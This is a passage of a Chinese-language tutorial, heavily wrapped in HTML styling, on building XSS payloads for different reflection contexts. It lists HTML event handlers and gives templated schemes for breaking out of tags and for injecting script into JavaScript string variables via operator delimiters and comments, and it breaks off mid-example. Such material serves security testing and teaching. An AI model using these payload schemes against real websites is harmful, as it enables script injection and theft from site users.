class="code-snippet__js" data-lang="nginx"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__attribute" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onclick</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onauxclick</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondblclick</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondrag</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondragend</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondragenter</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondragexit</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondragleave</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondragover</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ondragstart</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onmousedown</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onmouseenter</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onmouseleave</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onmousemove</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onmouseout</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onmouseover</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">onmouseup</span></code></pre></section><pre style="margin-bottom: 16px;padding: 16px;outline: 0px;max-width: 100%;overflow-wrap: normal;color: rgb(34, 34, 34);letter-spacing: 0.544px;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;overflow: auto;line-height: 1.45;border-radius: 6px;box-sizing: border-box !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></pre><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">其余组件可以使用前面讨论的方法进行测试。</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        当输入反映在无法交互的标签中时,需要突破标签本身才能执行有效负载。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">这种情况的有效载荷方案是:</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">{quote}>{<span class="code-snippet__built_in" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">any</span> payload scheme <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">from</span> html context section}</span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><h2 dir="auto" style="margin-top: 24px;margin-bottom: 16px;padding-bottom: 0.3em;outline: 0px;font-weight: 600;font-size: 1.5em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;border-bottom: 1px solid var(--color-border-muted);color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">JavaScript 上下文</span></h2><h4 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">内部字符串变量</span></h4><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        最常见的 JavaScript 上下文反射类型是字符串变量内的反射。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">这很常见,因为开发人员通常将用户输入分配给变量,而不是直接使用它们。</span></span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__attribute" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">var</span> name = <span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'<span class="code-snippet__variable" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">$input</span>'</span></span></code></pre></section><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><h5 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 0.875em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">有效载荷方案#1</span></h5><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">{quote}{delimiter}{javascript}{delimiter}{quote}</span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">分隔符通常是 JavaScipt 运算符,例如</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">^</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">例如,如果用户输入位于单引号字符串变量中,则可能的有效负载将是</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'^{javascript}^'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'*{javascript}*'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'+{javascript}+'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'/{javascript}/'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'%{javascript}%'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'|{javascript}|'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'<{javascript}<'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'>{javascript}>'</span></span></code></pre></section><pre style="margin-bottom: 16px;padding: 16px;outline: 0px;max-width: 100%;overflow-wrap: normal;color: rgb(34, 34, 34);letter-spacing: 0.544px;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;overflow: auto;line-height: 1.45;border-radius: 6px;box-sizing: border-box !important;"></pre><h5 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 0.875em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">有效载荷方案#2</span></h5><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">{quote}{delimiter}{javascript}<span class="code-snippet__comment" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//</span></span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">它类似于前面的有效负载方案,只是它使用单行注释来注释掉该行中的其余代码以保持语法有效。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">可以使用此有效负载方案制作的一些有效负载是:</span></span><span style="outline: 0px;max-width: 100%;background-color: transparent;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;color: rgb(51, 51, 51);text-align: justify;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'<{javascript}//'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'|{javascript}//'</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">'^{javascript}//'</span></span></code></pre></section><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><h4 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">在代码块内</span></h4><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        输入通常会反映到代码块中。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">例如,如果用户已付费订阅并且年满 18 岁,则网页会执行某些操作。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">具有反射输入的 JavaScript 代码如下所示:</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__function" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">function</span> <span class="code-snippet__title" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">example</span>(<span class="code-snippet__params" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">age, subscription</span>)</span>{</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span> (subscription){</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">if</span> (age > <span class="code-snippet__number" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">18</span>){</span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> another_function(<span class="code-snippet__string" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word 